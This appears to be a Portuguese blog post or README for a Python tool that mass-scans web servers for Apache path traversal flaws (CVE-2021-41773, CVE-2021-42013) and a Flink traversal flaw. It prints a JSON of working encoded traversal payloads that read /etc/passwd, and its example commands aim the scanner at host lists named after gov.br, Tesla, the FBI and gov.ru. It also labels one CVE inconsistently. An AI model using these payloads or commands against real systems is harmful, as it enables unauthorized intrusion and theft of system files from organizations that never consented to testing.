Uma simples tool para Apache Path Traversal

Nesses últimos dias saiu alguns bugs em nosso Querido Apache e como adoro criar brinquedos fiz uma tool pra checar tal vulnerabilidade. Ferramenta feita em python vai checar as seguintes CVEs: 

1. CVE-2021-41773
2. CVE-2021-42013
3. CVE-2020-1751

Download

1. https://github.com/MrCl0wnLab/SimplesApachePathTraversal

Help

1. python main.py --help

 
                                   .,,
                                  (=\/\
                                   \=\/\
                                    \=\/\
                                     `=\/
                                        \                                                                                                                  
           simples [ APACHE ]
           ___      _   _       _____                                    _ 
          / _ \__ _| |_| |__   /__   \_ __ __ ___   _____ _ __ ___  __ _| |
         / /_)/ _` | __| '_ \    / /\/ '__/ _` \ \ / / _ \ '__/ __|/ _` | |
        / ___/ (_| | |_| | | |  / /  | | | (_| |\ V /  __/ |  \__ \ (_| | |
        \/    \__,_|\__|_| |_|  \/   |_|  \__,_| \_/ \___|_|  |___/\__,_|_|
                                                                   
              
                      By: MrCl0wn / https://blog.mrcl0wn.com
                                    https://twitter.com/MrCl0wnLab 
                                    https://github.com/MrCl0wnLab                                                                         
         
usage: tool [-h] [--file ] [--range ,] [--thread <20>] [--ssl] [--timeout <5>] [--debug]

[!] Check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
[!] File exploits: /assets/exploits.json
[!] Output: output/vuln.txt

python main.py --file gov.br.txt  --thread 15
python main.py --file tesla.txt  --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30 
python main.py --file fbi.gov.txt  --thread 15 --timeout 3 
python main.py --file gov.ru.txt  --debug

optional arguments:
  -h, --help                   Show this help message and exit
  --file ips.txt               Input your target host lists
  --range ip-start,ip-end      Set range IP Eg.: 192.168.15.1,192.168.15.100
  --thread 20, -t 20           Eg. 20
  --ssl                        Enable request with SSL
  --timeout 5                  Set connection timeout
  --debug, -d                  Enable debug mode

  

Output
As urls são salvas de acordo com seus http code, dentro da pasta

1. output/

output/
├── 200.txt
├── 301.txt
├── 400.txt
├── 403.txt
├── 404.txt
├── 500.txt
├── 503.txt
└── vuln.txt

Exploits usados

Dentro do script é usado um arquivo json para organizar os injects localizado em

1. assets/exploits.json

{
    "CVE-2021-41773": "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "CVE-2021-42013-0": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd",
    "CVE-2021-42013-1": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2021-42013-3": "/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2021-42013-4":"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2020-17519-0":"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
    "CVE-2020-17519-1":"/cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
}

Exemplo de execução

1. python main.py --file targets.txt  --thread 150

Output de vuln detectada
Toda URL que retornar o friltro da expresão regular: (root:.*:0:+) será considera um vuln.

REF

1. https://appcheck-ng.com/apache-path-traversal-vulnerability-cve-2021-41773/
2. https://www.exploit-db.com/exploits/50383
3. https://www.exploit-db.com/exploits/50406
4. https://www.exploit-db.com/exploits/49398
5. https://owasp.org/www-community/attacks/Path_Traversal

Post feito ao som de: